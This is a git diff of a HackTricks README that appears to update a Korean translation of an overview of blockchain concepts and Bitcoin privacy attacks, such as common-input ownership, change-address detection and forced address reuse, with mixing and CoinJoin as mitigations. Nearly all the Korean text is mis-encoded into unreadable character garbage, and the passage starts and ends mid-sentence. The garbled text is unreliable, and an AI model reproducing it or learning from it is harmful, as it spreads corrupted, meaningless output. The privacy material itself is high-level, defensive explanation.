ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index 657636f8c..6f26a9280 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,176 +1,178 @@ +# ๋ธ”๋ก์ฒด์ธ ๋ฐ ์•”ํ˜ธํ™”ํ + {{#include ../../banners/hacktricks-training.md}} ## ๊ธฐ๋ณธ ๊ฐœ๋… -- **์Šค๋งˆํŠธ ๊ณ„์•ฝ**์€ ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ ๋ธ”๋ก์ฒด์ธ์—์„œ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ, ์ค‘๊ฐœ์ž ์—†์ด ๊ณ„์•ฝ ์‹คํ–‰์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค. -- **ํƒˆ์ค‘์•™ํ™” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (dApps)**์€ ์Šค๋งˆํŠธ ๊ณ„์•ฝ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์นœํ™”์ ์ธ ํ”„๋ก ํŠธ ์—”๋“œ์™€ ํˆฌ๋ช…ํ•˜๊ณ  ๊ฐ์‚ฌ ๊ฐ€๋Šฅํ•œ ๋ฐฑ ์—”๋“œ๋ฅผ ํŠน์ง•์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. -- **ํ† ํฐ ๋ฐ ์ฝ”์ธ**์€ ์ฝ”์ธ์ด ๋””์ง€ํ„ธ ํ™”ํ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ˜๋ฉด, ํ† ํฐ์€ ํŠน์ • ๋งฅ๋ฝ์—์„œ ๊ฐ€์น˜๋‚˜ ์†Œ์œ ๊ถŒ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- **์œ ํ‹ธ๋ฆฌํ‹ฐ ํ† ํฐ**์€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๋ถ€์—ฌํ•˜๊ณ , **์ฆ๊ถŒ ํ† ํฐ**์€ ์ž์‚ฐ ์†Œ์œ ๊ถŒ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- **DeFi**๋Š” ํƒˆ์ค‘์•™ํ™” ๊ธˆ์œต์„ ์˜๋ฏธํ•˜๋ฉฐ, ์ค‘์•™ ๊ถŒํ•œ ์—†์ด ๊ธˆ์œต ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -- **DEX**์™€ **DAO**๋Š” ๊ฐ๊ฐ ํƒˆ์ค‘์•™ํ™” ๊ฑฐ๋ž˜ ํ”Œ๋žซํผ๊ณผ ํƒˆ์ค‘์•™ํ™” ์ž์œจ ์กฐ์ง์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +- **์Šค๋งˆํŠธ ๊ณ„์•ฝ(Smart Contracts)** ๋Š” ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋˜๋ฉด ๋ธ”๋ก์ฒด์ธ ์ƒ์—์„œ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ, ์ค‘๊ฐœ์ž ์—†์ด ํ•ฉ์˜ ์ดํ–‰์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค. +- **๋ถ„์‚ฐํ˜• ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(dApps)** ๋Š” ์Šค๋งˆํŠธ ๊ณ„์•ฝ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์นœํ™”์ ์ธ ํ”„๋ŸฐํŠธ์—”๋“œ์™€ ํˆฌ๋ช…ํ•˜๊ณ  ๊ฐ์‚ฌ ๊ฐ€๋Šฅํ•œ ๋ฐฑ์—”๋“œ๋ฅผ ๊ฐ–์ถฅ๋‹ˆ๋‹ค. +- **ํ† ํฐ & ์ฝ”์ธ** ์€ ์ฝ”์ธ์ด ๋””์ง€ํ„ธ ํ™”ํ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ˜๋ฉด, ํ† ํฐ์€ ํŠน์ • ๋งฅ๋ฝ์—์„œ ๊ฐ€์น˜๋‚˜ ์†Œ์œ ๊ถŒ์„ ๋‚˜ํƒ€๋‚ธ๋‹ค๋Š” ์ ์—์„œ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค. +- **์œ ํ‹ธ๋ฆฌํ‹ฐ ํ† ํฐ(Utility Tokens)** ์€ ์„œ๋น„์Šค ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ณ , **์ฆ๊ถŒํ˜• ํ† ํฐ(Security Tokens)** ์€ ์ž์‚ฐ ์†Œ์œ ๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +- **DeFi** ๋Š” ์ค‘์•™ ๊ถŒํ•œ ์—†์ด ๊ธˆ์œต ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋Š” ํƒˆ์ค‘์•™ํ™” ๊ธˆ์œต์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. +- **DEX** ์™€ **DAOs** ๋Š” ๊ฐ๊ฐ ๋ถ„์‚ฐํ˜• ๊ฑฐ๋ž˜์†Œ(Decentralized Exchange)์™€ ๋ถ„์‚ฐํ˜• ์ž์œจ ์กฐ์ง(Decentralized Autonomous Organization)์„ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค. ## ํ•ฉ์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜ -ํ•ฉ์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ธ”๋ก์ฒด์ธ์—์„œ ์•ˆ์ „ํ•˜๊ณ  ํ•ฉ์˜๋œ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค: +ํ•ฉ์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ธ”๋ก์ฒด์ธ์—์„œ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ์•ˆ์ „ํ•˜๊ณ  ํ•ฉ์˜๋œ ๋ฐฉ์‹์œผ๋กœ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค: -- **์ž‘์—… ์ฆ๋ช… (PoW)**์€ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ์œ„ํ•ด ๊ณ„์‚ฐ ๋Šฅ๋ ฅ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. -- **์ง€๋ถ„ ์ฆ๋ช… (PoS)**์€ ๊ฒ€์ฆ์ž๊ฐ€ ์ผ์ •๋Ÿ‰์˜ ํ† ํฐ์„ ๋ณด์œ ํ•ด์•ผ ํ•˜๋ฉฐ, PoW์— ๋น„ํ•ด ์—๋„ˆ์ง€ ์†Œ๋น„๋ฅผ ์ค„์ž…๋‹ˆ๋‹ค. +- **Proof of Work (PoW)** ๋Š” ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ์œ„ํ•ด ๊ณ„์‚ฐ ๋Šฅ๋ ฅ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. +- **Proof of Stake (PoS)** ๋Š” ๊ฒ€์ฆ์ž๊ฐ€ ์ผ์ •๋Ÿ‰์˜ ํ† ํฐ์„ ๋ณด์œ ํ•˜๋„๋ก ์š”๊ตฌํ•˜์—ฌ PoW์— ๋น„ํ•ด ์—๋„ˆ์ง€ ์†Œ๋น„๋ฅผ ์ค„์ž…๋‹ˆ๋‹ค. -## ๋น„ํŠธ์ฝ”์ธ ํ•„์ˆ˜ ์‚ฌํ•ญ +## ๋น„ํŠธ์ฝ”์ธ ํ•„์ˆ˜ ์ง€์‹ ### ๊ฑฐ๋ž˜ -๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜๋Š” ์ฃผ์†Œ ๊ฐ„ ์ž๊ธˆ์„ ์ „์†กํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ๋””์ง€ํ„ธ ์„œ๋ช…์„ ํ†ตํ•ด ๊ฒ€์ฆ๋˜๋ฉฐ, ๊ฐœ์ธ ํ‚ค์˜ ์†Œ์œ ์ž๋งŒ์ด ์ „์†ก์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜๋Š” ์ฃผ์†Œ ๊ฐ„ ์ž๊ธˆ ์ด๋™์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ๋””์ง€ํ„ธ ์„œ๋ช…์„ ํ†ตํ•ด ๊ฒ€์ฆ๋˜์–ด ๊ฐœ์ธ ํ‚ค ์†Œ์œ ์ž๋งŒ ์ „์†ก์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. -#### ์ฃผ์š” ๊ตฌ์„ฑ ์š”์†Œ: +#### ํ•ต์‹ฌ ์š”์†Œ: -- **๋‹ค์ค‘ ์„œ๋ช… ๊ฑฐ๋ž˜**๋Š” ๊ฑฐ๋ž˜๋ฅผ ์Šน์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์„œ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -- ๊ฑฐ๋ž˜๋Š” **์ž…๋ ฅ**(์ž๊ธˆ ์ถœ์ฒ˜), **์ถœ๋ ฅ**(๋ชฉ์ ์ง€), **์ˆ˜์ˆ˜๋ฃŒ**(์ฑ„๊ตด์ž์—๊ฒŒ ์ง€๊ธ‰), **์Šคํฌ๋ฆฝํŠธ**(๊ฑฐ๋ž˜ ๊ทœ์น™)๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. +- **๋‹ค์ค‘ ์„œ๋ช… ๊ฑฐ๋ž˜(Multisignature Transactions)** ๋Š” ๊ฑฐ๋ž˜๋ฅผ ์Šน์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์„œ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +- ๊ฑฐ๋ž˜๋Š” **์ž…๋ ฅ(inputs)**(์ž๊ธˆ์˜ ์ถœ์ฒ˜), **์ถœ๋ ฅ(outputs)**(๋ชฉ์ ์ง€), **์ˆ˜์ˆ˜๋ฃŒ(fees)**(์ฑ„๊ตด์ž์—๊ฒŒ ์ง€๊ธ‰), ๋ฐ **์Šคํฌ๋ฆฝํŠธ(scripts)**(๊ฑฐ๋ž˜ ๊ทœ์น™)๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ### ๋ผ์ดํŠธ๋‹ ๋„คํŠธ์›Œํฌ -๋น„ํŠธ์ฝ”์ธ์˜ ํ™•์žฅ์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ์ฑ„๋„ ๋‚ด์—์„œ ํ—ˆ์šฉํ•˜๊ณ , ์ตœ์ข… ์ƒํƒœ๋งŒ ๋ธ”๋ก์ฒด์ธ์— ๋ฐฉ์†กํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. +๋ผ์ดํŠธ๋‹ ๋„คํŠธ์›Œํฌ๋Š” ์ฑ„๋„ ๋‚ด์—์„œ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์ตœ์ข… ์ƒํƒœ๋งŒ ๋ธ”๋ก์ฒด์ธ์— ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜์—ฌ ๋น„ํŠธ์ฝ”์ธ์˜ ํ™•์žฅ์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ## ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๋ฌธ์ œ -**๊ณตํ†ต ์ž…๋ ฅ ์†Œ์œ ๊ถŒ** ๋ฐ **UTXO ๋ณ€๊ฒฝ ์ฃผ์†Œ ํƒ์ง€**์™€ ๊ฐ™์€ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์€ ๊ฑฐ๋ž˜ ํŒจํ„ด์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. **๋ฏน์„œ** ๋ฐ **์ฝ”์ธ์กฐ์ธ**๊ณผ ๊ฐ™์€ ์ „๋žต์€ ์‚ฌ์šฉ์ž ๊ฐ„์˜ ๊ฑฐ๋ž˜ ๋งํฌ๋ฅผ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜์—ฌ ์ต๋ช…์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. +Common Input Ownership, UTXO Change Address Detection๊ณผ ๊ฐ™์€ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์€ ๊ฑฐ๋ž˜ ํŒจํ„ด์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. Mixers์™€ CoinJoin ๊ฐ™์€ ์ „๋žต์€ ์‚ฌ์šฉ์ž ๊ฐ„ ๊ฑฐ๋ž˜ ์—ฐ๊ฒฐ์„ ๋‚œ๋…ํ™”ํ•˜์—ฌ ์ต๋ช…์„ฑ์„ ๊ฐœ์„ ํ•ฉ๋‹ˆ๋‹ค. -## ๋น„ํŠธ์ฝ”์ธ์„ ์ต๋ช…์œผ๋กœ ํš๋“ํ•˜๊ธฐ +## ์ต๋ช…์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ ํš๋“ํ•˜๊ธฐ -ํ˜„๊ธˆ ๊ฑฐ๋ž˜, ์ฑ„๊ตด ๋ฐ ๋ฏน์„œ ์‚ฌ์šฉ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. **์ฝ”์ธ์กฐ์ธ**์€ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ˜ผํ•ฉํ•˜์—ฌ ์ถ”์  ๊ฐ€๋Šฅ์„ฑ์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ , **ํŽ˜์ด์กฐ์ธ**์€ ์ฝ”์ธ์กฐ์ธ์„ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜๋กœ ์œ„์žฅํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋†’์ž…๋‹ˆ๋‹ค. +๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ํ˜„๊ธˆ ๊ฑฐ๋ž˜, ์ฑ„๊ตด ๋ฐ ๋ฏน์„œ ์‚ฌ์šฉ ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. **CoinJoin** ์€ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ์„ž์–ด ์ถ”์ ์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ , **PayJoin** ์€ CoinJoin์„ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜๋กœ ์œ„์žฅํ•˜์—ฌ ๋” ๋†’์€ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -# ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ +# Bitcoin Privacy Atacks # ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ ์š”์•ฝ -๋น„ํŠธ์ฝ”์ธ ์„ธ๊ณ„์—์„œ ๊ฑฐ๋ž˜์˜ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ์‚ฌ์šฉ์ž์˜ ์ต๋ช…์„ฑ์€ ์ข…์ข… ์šฐ๋ ค์˜ ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค. +๋น„ํŠธ์ฝ”์ธ ์„ธ๊ณ„์—์„œ ๊ฑฐ๋ž˜์˜ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ์‚ฌ์šฉ์ž์˜ ์ต๋ช…์„ฑ์€ ์ž์ฃผ ์šฐ๋ ค๋˜๋Š” ์ฃผ์ œ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค. -## **๊ณตํ†ต ์ž…๋ ฅ ์†Œ์œ ๊ถŒ ๊ฐ€์ •** +## **Common Input Ownership Assumption (๊ณตํ†ต ์ž…๋ ฅ ์†Œ์œ  ๊ฐ€์ •)** -๋ณต์žก์„ฑ์œผ๋กœ ์ธํ•ด ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ๋‹จ์ผ ๊ฑฐ๋ž˜์— ๊ฒฐํ•ฉ๋˜๋Š” ๊ฒฝ์šฐ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋“œ๋ญ…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๊ฐ™์€ ๊ฑฐ๋ž˜์˜ ๋‘ ์ž…๋ ฅ ์ฃผ์†Œ๋Š” ์ข…์ข… ๋™์ผํ•œ ์†Œ์œ ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •๋ฉ๋‹ˆ๋‹ค**. +์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ๋‹จ์ผ ๊ฑฐ๋ž˜์—์„œ ๊ฒฐํ•ฉ๋˜๋Š” ๊ฒฝ์šฐ๋Š” ๋ณต์žก์„ฑ ๋•Œ๋ฌธ์— ์ผ๋ฐ˜์ ์œผ๋กœ ๋“œ๋ญ…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๊ฐ™์€ ๊ฑฐ๋ž˜์˜ ๋‘ ์ž…๋ ฅ ์ฃผ์†Œ๋Š” ์ข…์ข… ๋™์ผํ•œ ์†Œ์œ ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •๋ฉ๋‹ˆ๋‹ค**. -## **UTXO ๋ณ€๊ฒฝ ์ฃผ์†Œ ํƒ์ง€** +## **UTXO Change Address Detection (UTXO ์ž”์•ก ์ฃผ์†Œ ํƒ์ง€)** -UTXO, ์ฆ‰ **์‚ฌ์šฉ๋˜์ง€ ์•Š์€ ๊ฑฐ๋ž˜ ์ถœ๋ ฅ**์€ ๊ฑฐ๋ž˜์—์„œ ์™„์ „ํžˆ ์†Œ์ง„๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€๋งŒ ๋‹ค๋ฅธ ์ฃผ์†Œ๋กœ ์ „์†ก๋˜๋ฉด ๋‚˜๋จธ์ง€๋Š” ์ƒˆ๋กœ์šด ๋ณ€๊ฒฝ ์ฃผ์†Œ๋กœ ๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ด€์ฐฐ์ž๋Š” ์ด ์ƒˆ๋กœ์šด ์ฃผ์†Œ๊ฐ€ ๋ฐœ์‹ ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +UTXO, ์ฆ‰ ๋ฏธ์‚ฌ์šฉ ๊ฑฐ๋ž˜ ์ถœ๋ ฅ(Unspent Transaction Output)์€ ๊ฑฐ๋ž˜์—์„œ ์ „์ฒด๊ฐ€ ์†Œ๋น„๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ค‘ ์ผ๋ถ€๋งŒ ๋‹ค๋ฅธ ์ฃผ์†Œ๋กœ ์ „์†ก๋  ๊ฒฝ์šฐ, ๋‚˜๋จธ์ง€ ๊ธˆ์•ก์€ ์ƒˆ๋กœ์šด ์ž”์•ก ์ฃผ์†Œ(change address)๋กœ ๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค. ๊ด€์ฐฐ์ž๋Š” ์ด ์ƒˆ ์ฃผ์†Œ๊ฐ€ ์†ก๊ธˆ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ์ถ”์ •ํ•  ์ˆ˜ ์žˆ์–ด ํ”„๋ผ์ด๋ฒ„์‹œ๊ฐ€ ์นจํ•ด๋ฉ๋‹ˆ๋‹ค. ### ์˜ˆ์‹œ -์ด๋ฅผ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ฏน์‹ฑ ์„œ๋น„์Šค๋‚˜ ์—ฌ๋Ÿฌ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์†Œ์œ ๊ถŒ์„ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๋ฅผ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ฏน์‹ฑ ์„œ๋น„์Šค๋‚˜ ์—ฌ๋Ÿฌ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์†Œ์œ ๊ถŒ์„ ํ˜ผ๋™์‹œํ‚ค๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ## **์†Œ์…œ ๋„คํŠธ์›Œํฌ ๋ฐ ํฌ๋Ÿผ ๋…ธ์ถœ** -์‚ฌ์šฉ์ž๋“ค์€ ๋•Œ๋•Œ๋กœ ์ž์‹ ์˜ ๋น„ํŠธ์ฝ”์ธ ์ฃผ์†Œ๋ฅผ ์˜จ๋ผ์ธ์— ๊ณต์œ ํ•˜์—ฌ **์ฃผ์†Œ์™€ ์†Œ์œ ์ž๋ฅผ ์‰ฝ๊ฒŒ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค**. +์‚ฌ์šฉ์ž๋“ค์ด ์ข…์ข… ์ž์‹ ์˜ ๋น„ํŠธ์ฝ”์ธ ์ฃผ์†Œ๋ฅผ ์˜จ๋ผ์ธ์— ๊ณต์œ ํ•˜์—ฌ **์ฃผ์†Œ์™€ ์†Œ์œ ์ž๋ฅผ ์—ฐ๊ฒฐํ•˜๊ธฐ ์‰ฝ๋„๋ก** ๋งŒ๋“ญ๋‹ˆ๋‹ค. ## **๊ฑฐ๋ž˜ ๊ทธ๋ž˜ํ”„ ๋ถ„์„** -๊ฑฐ๋ž˜๋Š” ๊ทธ๋ž˜ํ”„๋กœ ์‹œ๊ฐํ™”๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž๊ธˆ ํ๋ฆ„์— ๋”ฐ๋ผ ์‚ฌ์šฉ์ž ๊ฐ„์˜ ์ž ์žฌ์  ์—ฐ๊ฒฐ์„ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. +๊ฑฐ๋ž˜๋Š” ๊ทธ๋ž˜ํ”„๋กœ ์‹œ๊ฐํ™”ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž๊ธˆ ํ๋ฆ„์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์‚ฌ์šฉ์ž ๊ฐ„์˜ ์ž ์žฌ์  ์—ฐ๊ฒฐ์„ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -## **๋ถˆํ•„์š”ํ•œ ์ž…๋ ฅ ํœด๋ฆฌ์Šคํ‹ฑ (์ตœ์  ๋ณ€๊ฒฝ ํœด๋ฆฌ์Šคํ‹ฑ)** +## **๋ถˆํ•„์š”ํ•œ ์ž…๋ ฅ ํœด๋ฆฌ์Šคํ‹ฑ(Optimal Change Heuristic)** -์ด ํœด๋ฆฌ์Šคํ‹ฑ์€ ์—ฌ๋Ÿฌ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ๊ฐ€์ง„ ๊ฑฐ๋ž˜๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์–ด๋–ค ์ถœ๋ ฅ์ด ๋ฐœ์‹ ์ž์—๊ฒŒ ๋Œ์•„๊ฐ€๋Š” ๋ณ€๊ฒฝ์ธ์ง€ ์ถ”์ธกํ•˜๋Š” ๋ฐ ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. +์ด ํœด๋ฆฌ์Šคํ‹ฑ์€ ์—ฌ๋Ÿฌ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ๊ฐ€์ง„ ๊ฑฐ๋ž˜๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์–ด๋–ค ์ถœ๋ ฅ์ด ์†ก๊ธˆ์ž์—๊ฒŒ ๋Œ์•„๊ฐ€๋Š” ์ž”์•ก(change)์ธ์ง€ ์ถ”์ธกํ•˜๋Š” ๋ฐ ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. ### ์˜ˆ์‹œ ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +์ž…๋ ฅ์ด ๋” ์ถ”๊ฐ€๋˜์–ด ์ž”๋ˆ ์ถœ๋ ฅ์ด ์–ด๋А ๋‹จ์ผ ์ž…๋ ฅ๋ณด๋‹ค ์ปค์ง€๋ฉด, ๊ทธ ํœด๋ฆฌ์Šคํ‹ฑ์„ ํ˜ผ๋ž€์Šค๋Ÿฝ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ## **๊ฐ•์ œ ์ฃผ์†Œ ์žฌ์‚ฌ์šฉ** -๊ณต๊ฒฉ์ž๋Š” ์ด์ „์— ์‚ฌ์šฉ๋œ ์ฃผ์†Œ๋กœ ์†Œ๋Ÿ‰์˜ ๋น„ํŠธ์ฝ”์ธ์„ ๋ณด๋‚ด, ์ˆ˜์‹ ์ž๊ฐ€ ํ–ฅํ›„ ๊ฑฐ๋ž˜์—์„œ ์ด๋ฅผ ๋‹ค๋ฅธ ์ž…๋ ฅ๊ณผ ๊ฒฐํ•ฉํ•˜๊ธฐ๋ฅผ ํฌ๋งํ•˜์—ฌ ์ฃผ์†Œ๋ฅผ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ณต๊ฒฉ์ž๋Š” ์ด์ „์— ์‚ฌ์šฉ๋œ ์ฃผ์†Œ๋กœ ์†Œ๋Ÿ‰์„ ์ „์†กํ•ด, ์ˆ˜์‹ ์ž๊ฐ€ ์ดํ›„ ๊ฑฐ๋ž˜์—์„œ ์ด๋ฅผ ๋‹ค๋ฅธ ์ž…๋ ฅ๊ณผ ๊ฒฐํ•ฉํ•˜๋„๋ก ์œ ๋„ํ•จ์œผ๋กœ์จ ์ฃผ์†Œ๋“ค์„ ์„œ๋กœ ์—ฐ๊ฒฐํ•˜๋ ค ํ•  ์ˆ˜ ์žˆ๋‹ค. ### ์˜ฌ๋ฐ”๋ฅธ ์ง€๊ฐ‘ ๋™์ž‘ -์ง€๊ฐ‘์€ ์ด๋ฏธ ์‚ฌ์šฉ๋œ ๋นˆ ์ฃผ์†Œ์—์„œ ๋ฐ›์€ ์ฝ”์ธ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•„์•ผ ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ฐœ์ธ ์ •๋ณด ์œ ์ถœ์„ ๋ฐฉ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ง€๊ฐ‘์€ ์ด๋ฏธ ์‚ฌ์šฉ๋œ ๋นˆ ์ฃผ์†Œ๋กœ ์ˆ˜์‹ ๋œ ์ฝ”์ธ์„ 